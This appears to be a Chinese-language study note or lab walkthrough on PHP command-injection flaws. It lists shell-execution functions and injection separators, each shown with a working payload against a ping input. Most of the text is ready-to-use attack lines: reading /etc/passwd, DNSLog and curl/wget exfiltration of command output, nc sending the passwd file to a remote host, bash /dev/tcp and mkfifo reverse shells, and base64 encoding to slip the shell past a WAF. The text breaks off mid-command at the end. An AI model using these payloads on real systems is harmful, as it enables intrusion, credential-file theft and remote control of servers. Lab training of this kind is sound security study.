在 PHP 中可以调用外部程序的常见函数:
system(args) 有回显
passthru(args)(有回显)
exec(args) (回显最后一行-必须 echo 输出)
shell_exec(args) (无回显-必须输出)
反引号:`` popen(handle,mode)(无回显)
proc_open('cmd','flag','flag')(无回显)
$process = proc_open('dir',$des,$pipes);
echo stream_get_contents($pipes[1]);
一.命令执行漏洞代码分析
二.渗透过程
1.;(分号)
"whoami" 是一个命令行工具,通常用于显示当前登录用户的用户名
命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执 行失败时,不会中断其它命令的执行。
在靶机命令行执行的就是ping -c 1 127.0.0.1;whoami
2.| (管道符号)
通过管理符 可以将一个命令的标准输出管理为另外一个命令的标准输入,当它失败后,会执行另外一条命令
3.&(后台任务符号)
命令按照顺序(从左到右)被执行,跟分号作用一样;此符号作用是后台任务符 号使 shell 在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他 工作
ping -c 4 127.0.0.1&cat /etc/passwd&获取敏感文件
4.&&(逻辑与)
前后的命令的执行存在逻辑与关系,只有【&&】前面的命令执行成功后,它后 面的命令才被执行 ping -c 4 127.0.0.1&&whoami
5.||(逻辑或)
前后命令的执行存在逻辑或关系,只有【||】前面的命令执行失败后,它后面的 命令才被执行; ping -c ||whoami
6.`(反引号)
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换
7.$(command) 命令替换
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。 ping -c 4|echo $(whoami)
三.命令执行(无回显)
1.利用DNSLog Platform
dnslog 是一个显示解析记录的平台,在无回显的情况下,通过访问 dnslog,dnslog 会把你访问的子域名的头文件记录下来。
使用反引号`whoami`得到的用户名再,子域名,再使用 icmp 协议访问ping域名
127.0.0.1|ping `whoami`.68dtk4.dnslog.cn
输入命令
如果存在漏洞得情况下 getsubdomin 就会得到回显
2.利用burp suite
我burp suite没这功能
3.利用日志测试无回显
使用curl 或 wget命令访问linux搭建的小型服务器
||curl http://192.168.116.132/?`whoami` 这个没成功
||wget http://192.168.116.132/?`whoami` 这个成功了
四.
远程服务器监听命令
执行命令
127.0.0.1|nc 192.168.116.132 9999 </etc/passwd
会在查看远程服务器生成 passwd 文件
四.命令执行漏洞 nc 反弹 shell
反弹 shell 因为是从受害者,反向连接远程服务器,请求是从内部到外部,所以 防火墙是不会进行拦截。
1.远程服务器 nc 监听命令
||/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.124/8080 0>&1'
还有这个代码
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.124 8080 >/t
如果有 waf 进行连接,可以把语句进行 base64 加密后,因为加密后的字符串没 有触发拦截规则,再利用 shell 命令再进行解码。 bash -i >& /dev/tcp/192.168.0.103/8080 0>&1 base64 编码后 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzgwODAgMD4mMQ
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mM Q=="|base64 -d|bas